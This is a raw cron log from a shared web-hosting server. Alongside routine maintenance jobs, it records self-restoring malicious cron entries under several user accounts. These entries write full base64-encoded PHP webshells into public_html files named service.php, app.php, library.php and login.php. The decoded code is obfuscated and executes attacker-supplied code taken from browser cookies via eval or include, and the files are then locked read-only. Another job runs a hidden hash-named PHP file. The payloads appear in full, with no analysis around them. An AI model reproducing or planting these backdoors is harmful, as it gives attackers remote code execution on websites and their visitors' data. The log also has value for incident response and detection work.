Mar  2 06:01:02 medusa CROND[12500]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:01:02 medusa CROND[12491]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 06:01:02 medusa CROND[12509]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:01:02 medusa run-parts(/etc/cron.hourly)[12529]: finished 0anacron
Mar  2 06:02:01 medusa CROND[29626]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:02:01 medusa CROND[29627]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:02:01 medusa CROND[29628]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:02:01 medusa CROND[29631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:02:01 medusa CROND[29632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:02:01 medusa CROND[29635]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:02:01 medusa CROND[29636]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:02:01 medusa CROND[29638]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:02:01 medusa CROND[29637]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 06:02:01 medusa CROND[29639]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:02:01 medusa CROND[29641]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:02:01 medusa CROND[29642]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:02:01 medusa CROND[29640]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:03:01 medusa CROND[15329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:03:01 medusa CROND[15330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:03:01 medusa CROND[15331]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:03:01 medusa CROND[15332]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:03:01 medusa CROND[15328]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:03:01 medusa CROND[15333]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:03:01 medusa CROND[15336]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:03:01 medusa CROND[15337]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:03:01 medusa CROND[15340]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:03:01 medusa CROND[15344]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:03:01 medusa CROND[15350]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
